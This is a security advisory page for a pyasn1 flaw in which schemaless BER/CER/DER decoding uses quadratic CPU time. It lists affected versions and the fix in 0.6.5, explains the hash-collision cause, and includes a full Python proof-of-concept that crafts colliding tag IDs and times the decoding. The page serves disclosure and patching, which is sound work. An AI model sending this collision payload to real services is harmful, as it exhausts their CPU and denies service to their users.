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CVE-2026-119194high7.5

pyasn1: Quadratic CPU use in schemaless BER/CER/DER container decoding

Impact

The pyasn1 library, versions 0.3.3 to 0.6.4, has a quadratic CPU use vulnerability in schemaless BER/CER/DER container decoding, which can cause service availability issues. An attacker can exploit this by providing a container with many distinct long tag IDs. The vulnerability affects applications that pass attacker-controlled bytes to schemaless decoding.

Summarized by @cf/meta/llama-3.3-70b-instruct-fp8-fast. Verify details against the original sources.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Affected range Recorded fix
From 0.3.3 before 0.6.5Ecosystem versions0.6.5

Version evidence: OSV · GHSA-fm9c-5rcf-2q5p

View original version evidence (20 explicit versions)

Affected products

Vendor version evidence. Product records are separate from automatic dependency matching.

pyasn1 · GitHub_M

pyasn1

1 range

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affected

>= 0.3.3, < 0.6.5

unaffected

unknown

Other versions: unknown

Original source description

Summary

When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

Details

ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

Proof of concept

Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

import sys
import time

from pyasn1.codec.ber import decoder
from pyasn1.type import univ


def enc_tag(tag_id):
    groups = [tag_id & 0x7f]
    tag_id >>= 7
    while tag_id:
        groups.append((tag_id & 0x7f) | 0x80)
        tag_id >>= 7
    return b'\xbf' + bytes(reversed(groups))


def payload(tag_ids):
    body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                    for tag_id in tag_ids)
    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
    return b'\x30' + bytes([0x80 | len(length)]) + length + body


for count in (3200, 6400):
    cases = (
        ("collision", [32 + i * sys.hash_info.modulus
                       for i in range(count)]),
        ("control", [(1 << 70) + i for i in range(count)]),
    )
    for name, tag_ids in cases:
        wire = payload(tag_ids)
        start = time.process_time()
        value, remainder = decoder.decode(wire)
        cpu_seconds = time.process_time() - start

        assert type(value) is univ.Sequence
        assert len(value) == count and remainder == b''
        for position, tag_id in enumerate(tag_ids):
            component = value.getComponentByPosition(position)
            assert component.asOctets() == b'A'
            assert component.tagSet[-1].tagId == tag_id

        print(count, name, len(wire), round(cpu_seconds, 3))

Impact

Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

Inside the record

Evidence available

Package identity
Version evidence
Remediation guidance · not supplied
Weakness classification
Additional publishers · not supplied

Describes the evidence in this view, not whether the product is safe.

Original records

CVE-2026-119194

View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.

cve.new JSON →

Underlying weaknesses

The source’s classification of what caused the vulnerability.

CWE-407 ↗

CWE-407: Inefficient Algorithmic Complexity

GitHub_M

Related →
Contributing organizations · 1
GitHub_M

Assigning organization

2026-10-29

What changed

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References

6 sources